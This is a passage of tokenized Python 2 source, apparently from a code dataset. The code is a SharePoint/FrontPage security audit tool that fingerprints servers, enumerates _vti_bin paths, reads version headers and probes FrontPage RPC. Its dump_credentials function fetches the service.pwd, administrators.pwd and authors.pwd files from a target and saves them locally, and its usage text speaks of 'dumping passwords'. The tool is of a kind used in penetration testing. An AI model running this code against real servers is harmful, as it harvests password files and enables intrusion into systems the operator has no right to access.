"destination_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "dump", "ing", " ", "passwords", "]", " ", "%", "s", " ", "-", "d", " ", "dump", " ", "-", "u", " ", "%", "s", " ", "\"_", "%_", "(_", "sys_", "._", "argv_", "[_", "0_", "]_", ",_", "destination_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "note", "]", " ", ":", " ", "plea", "se", " ", "take", " ", "this", " ", "int", "o", " ", "consider", "ation", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\\\\", "t", ":", " ", "(", "1", ")", " ", "alw", "ay", "s", " ", "speci", "fy", " ", "https", " ", "|", " ", "http", " ", "expl", "cit", "ly", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\\\\", "t", ":", " ", "(", "2", ")", " ", "alw", "ay", "s", " ", "provide", " ", "the", " ", "proper", " ", "director", "y", " ", "structure", " ", "where", " ", "share", "point", "/", "front", "page", " ", "is", " ", "install", "ed", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\\\\", "t", ":", " ", "(", "3", ")", " ", "do", " ", "not", " ", "speci", "fy", " ", "'/'", " ", "at", " ", "the", " ", "end", " ", "of", " ", "url", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "target_", "(_", "target_", ",_", "front", "\\u", "dirs_", "=_", "[_", "]_", ",_", "refine", "\\u", "target_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "item_", "in_", "front", "\\u", "dirs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "refine", "\\u", "target_", "._", "append_", "(_", "target_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "module", "\\u", "success_", "(_", "module", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "n", "[+", "]", " ", "check", " ", "for", " ", "HTTP", " ", "codes", " ", "(", "200", ")", " ", "for", " ", "active", " ", "list", " ", "of", " ", "accessible", " ", "files", " ", "or", " ", "director", "ies", "!", " ", "(", "404", ")", " ", "-", " ", "Not", " ", "exist", "s", " ", "|", " ", "(", "403", ")", " ", "-", " ", "For", "bid", "den", " ", "!", " ", "(", "500", ")", " ", "-", " ", "Server", " ", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]", " ", "(%", "s", ")", " ", "-", " ", "module", " ", "executed", " ", "success", "full", "y", " ", "!\\\\", "n", "\"_", "%_", "module", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "target", "\\u", "information_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "fetch", "ing", " ", "informati", "on", " ", "from", " ", "the", " ", "give", "n", " ", "target", " ", ":", " ", "(%", "s", ")\"_", "%_", "(_", "headers_", "._", "geturl", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "target", " ", "respond", "ed", " ", "with", " ", "HTTP", " ", "code", ":", " ", "(%", "s", ")\"_", "%_", "headers_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "target", " ", "is", " ", "runn", "ing", " ", "server", ":", " ", "(%", "s", ")\"_", "%_", "headers_", "._", "info_", "(_", ")_", "[_", "'", "server", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "url", " ", "error", " ", "occure", "d", " ", "-", " ", "(%", "s", ")\"_", "%_", "h_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "audit_", "(_", "target_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "element_", "in_", "target_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "handle_", "=_", "urllib2_", "._", "urlopen_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "handle_", "._", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "code_", "=_", "handle_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "(%", "s", ")", " ", "-", " ", "(%", "d", ")\"_", "%_", "(_", "element_", ",_", "response", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "(%", "s", ")", " ", "-", " ", "(%", "d", ")\"_", "%_", "(_", "element_", ",_", "h_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "\\u", "credentials_", "(_", "dest_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pwd", "\\u", "targets_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pwd", "\\u", "files_", "=_", "[_", "'\\u", "vt", "i", "\\u", "pv", "t", "/", "service", ".", "pwd", "'_", ",_", "'\\u", "vt", "i", "\\u", "pv", "t", "/", "administrat", "ors", ".", "pwd", "'_", ",_", "'\\u", "vt", "i", "\\u", "pv", "t", "/", "author", "s", ".", "pwd", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "pwd", "\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pwd", "\\u", "targets_", "._", "append_", "(_", "dest_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "pwd", "\\u", "targets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "handle_", "=_", "urllib2_", "._", "urlopen_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "handle_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "dump", "ing", " ", "content", "s", " ", "of", " ", "file", " ", "located", " ", "at", " ", ":", " ", "(%", "s", ")\"_", "%_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"\\u\\u", "dump", "\\u\\u", ".", "txt", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump_", "=_", "open_", "(_", "filename_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dump_", "._", "write_", "(_", "handle_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "handle_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "coul", "d", " ", "not", " ", "dump", " ", "the", " ", "file", " ", "located", " ", "at", " ", ":", " ", "(%", "s", ")", " ", "|", " ", "(%", "d", ")\"_", "%_", "(_", "entry_", ",_", "h_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "the", " ", "(%", "s", ")", " ", "file", " ", "if", " ", "generat", "ed", " ", "!\\\\", "n", "\"_", "%_", "(_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fingerprint", "\\u", "front", "page_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "enum", "\\u", "nix", "_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "exe", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "adm", "/", "admin", ".", "exe", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "enum", "\\u", "win_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "author", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "aut", "/", "dv", "ws", "sr", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/\\u", "vt", "i", "\\u", "adm", "/", "admin", ".", "dll", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build", "\\u", "enum", "\\u", "nix", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build", "\\u", "enum", "\\u", "win_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "enum", "\\u", "nix", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "enum", "\\u", "nix", "_", "._", "append_", "(_", "name_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "build", "\\u", "enum", "\\u", "nix", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "info_", "=_", "urllib2_", "._", "urlopen_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "info_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "front", " ", "page", " ", "is", " ", "tested", " ", "as", " ", ":", " ", "nix", " ", "version", " ", "|", " ", " ", "(%", "s", ")", " ", "|", " ", "(%", "d", ")\"_", "%_", "(_", "entry_", ",_", "info_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item_", "in_", "enum", "\\u", "win_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "enum", "\\u", "win_", "._", "append_", "(_", "name_", "+_", "\"/\"_", "+_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "build", "\\u", "enum", "\\u", "win_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "info_", "=_", "urllib2_", "._", "urlopen_", "(_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "info_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "front", " ", "page", " ", "is", " ", "tested", " ", "as", " ", ":", " ", "windows", " ", "version", " ", "|", " ", " ", "(%", "s", ")", " ", "|", " ", "(%", "d", ")\"_", "%_", "(_", "entry_", ",_", "info_", "._", "getco", "de_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "front", "end", "\\u", "version_", "=_", "name_", "+_", "\"/", "\\u", "vt", "i", "\\u", "inf", ".", "html", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version_", "=_", "urllib2_", "._", "urlopen_", "(_", "front", "end", "\\u", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "extracti", "ng", " ", "front", "page", " ", "version", " ", "from", " ", "default", " ", "file", " ", ":", " ", "(%", "s", "):\"_", "%_", "re_", "._", "findall_", "(_", "r", "'", "FP", "Version", "=(", ".*)", "'_", ",_", "version_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "fail", "ed", " ", "to", " ", "extract", " ", "the", " ", "version", " ", "of", " ", "front", "page", " ", "from", " ", "default", " ", "file", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "*]", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "--------------", "---\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "\\u", "share", "point", "\\u", "headers_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "s_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "configur", "ed", " ", "share", "point", " ", "version", " ", "is", " ", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "s_", "._", "info_", "(_", ")_", "[_", "'", "micros", "oft", "share", "point", "team", "service", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "version", " ", "coul", "d", " ", "not", " ", "be", " ", "extracted", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", " ", "Micro", "soft", "Share", "point", "Tea", "m", "Service", "s", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "f_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "share", "point", " ", "is", " ", "configur", "ed", " ", "with", " ", "load", " ", "balancing", " ", "capab", "ilit", "y", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "f_", "._", "info_", "(_", ")_", "[_", "'", "x", "-", "share", "point", "health", "score", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "load", " ", "balancing", " ", "abilit", "y", " ", "coul", "d", " ", "not", " ", "be", " ", "dete", "rmin", "ed", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", "X", "-", "Share", "point", "Health", "Score", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "g_", "=_", "urllib2_", "._", "urlopen_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "share", "point", " ", "is", " ", "configur", "ed", " ", "with", " ", "explicit", " ", "diagnos", "is", " ", "(", "GUID", " ", "based", " ", "log", " ", "analys", "is", ")", " ", "purpose", "s", " ", ":", " ", "(%", "s", ")\"_", "%_", "dump", "\\u", "f_", "._", "info_", "(_", ")_", "[_", "'", "spr", "eque", "stg", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "share", "point", " ", "diagnostics", " ", "abilit", "y", " ", "coul", "d", " ", "not", " ", "be", " ", "dete", "rmin", "ed", " ", "usi", "ng", " ", "HTTP", " ", "header", " ", ":", " ", "SPR", "eque", "st", "Guid", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "httplib_", "._", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "server", " ", "respond", "s", " ", "with", " ", "bad", " ", "status", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "front", "page", "\\u", "rpc", "\\u", "check_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "MIME", "-", "Version", "'_", ":_", "'", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "User", "-", "Agent", "'_", ":_", "'", "MS", "Front", "Page", "/", "4.0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "X", "-", "Ver", "mee", "r", "-", "Conten", "t", "-", "Type", "'_", ":_", "'", "applica", "tion", "/", "x", "-", "www", "-", "form", "-", "url", "encode", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Connect", "ion", "'_", ":_", "'", "Keep", "-", "Ali", "ve", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "target", "\\u", "list_", "=_", "[_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "exe", "/\\u", "vt", "i", "\\u", "rpc", "'_", ",_", "'\\u", "vt", "i", "\\u", "bin", "/", "sht", "ml", ".", "dll", "/\\u", "vt", "i", "\\u", "rpc", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"", "method", "=", " ", "server", " ", "version", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "data", "=\"", "method", "=", "list", "+", "service", "s", ":", "4.0", ".2", ".0000", "&", "service", "\\u", "name", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "item", " ", "in", " ", "exploit", "\\u", "target", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "exp", "\\u", "target", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "destination_", "=_", "name_", "+_", "\"/\"_", "+_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "HTTP", " ", "GET", " ", "request", " ", "to", " ", "-", " ", "(%", "s", ")", " ", "for", " ", "verify", "ing", " ", "whe", "ther", " ", "RP", "C", " ", "is", " ", "listen", "ing", " ", "!\"_", "%_", "destination_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "=_", "urllib2_", "._", "Request_", "(_", "destination_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "urllib2_", "._", "urlopen_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "+]", " ", "target", " ", "is", " ", "listen", "ing", " ", "on", " ", "front", "page", " ", "RP", "C", " ", "-", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "response_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"[", "-]", " ", "target", " ", "is", " ", "not", " ", "listen", "ing", " ", "on", " ", "front", "page", " ", "RP", "C", " ", "-", " ", "(%", "s", ")", " ", "!\\\\", "n", "\"_", "%_", "response_", "._", "getco", "de_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", 